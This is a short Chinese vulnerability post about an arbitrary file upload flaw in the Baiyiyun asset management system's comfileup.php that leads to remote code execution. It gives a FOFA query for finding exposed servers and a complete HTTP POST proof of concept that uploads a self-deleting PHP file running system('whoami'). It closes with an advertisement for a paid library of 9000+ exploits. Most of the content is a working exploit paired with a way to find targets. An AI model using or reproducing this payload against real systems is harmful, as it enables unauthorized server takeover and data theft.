百易云资产管理运营系统 comfileup.php 文件上传致RCE

介绍：

百易云是一家专注于物业不动产领域数字化系统研发及应用的国家高新技术企业。

主营业务有“智慧物管”、“智慧资管”，拥有自主研发技术及产品的数字物业厂商，总部研发位于长沙，目前业务已经成功拓展至深圳、上海、广州等一线城市，为客户提供在线化、数字化、智能化“三化合一”的专业化服务。

漏洞详情：

百易云资产管理运营系统 comfileup.php 存在文件上传漏洞，一旦攻击者利用文件上传漏洞成功上传了恶意文件,他们可以轻易地在服务器上执行任意代码,这可能导致服务器被完全控制,数据泄露,甚至使整个网络受到威胁。

fofa:

body="不要着急，点此"

poc:

POST /comfileup.php HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:127.0)Gecko/20100101 Firefox/127.0
Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language:zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: multipart/form-data; boundary=--------1110146050
 
----------1110146050
Content-Disposition: form-data; name="file";filename="rce.php"
 
<?php system("whoami");unlink(__FILE__);?>
----------1110146050--

 内部福利介绍-更新啦，网络安全百分之八十的资源都可以在这找到！涵盖了POC库、账号共享、文档库、资源网获取、会员专属群，做你的网络安全资源大全！

近期更新的0day/1day(包含公开和未公开漏洞-仅列举部分)漏洞整理更新至9000+

👇内容太多扫描二维码查看详细介绍👇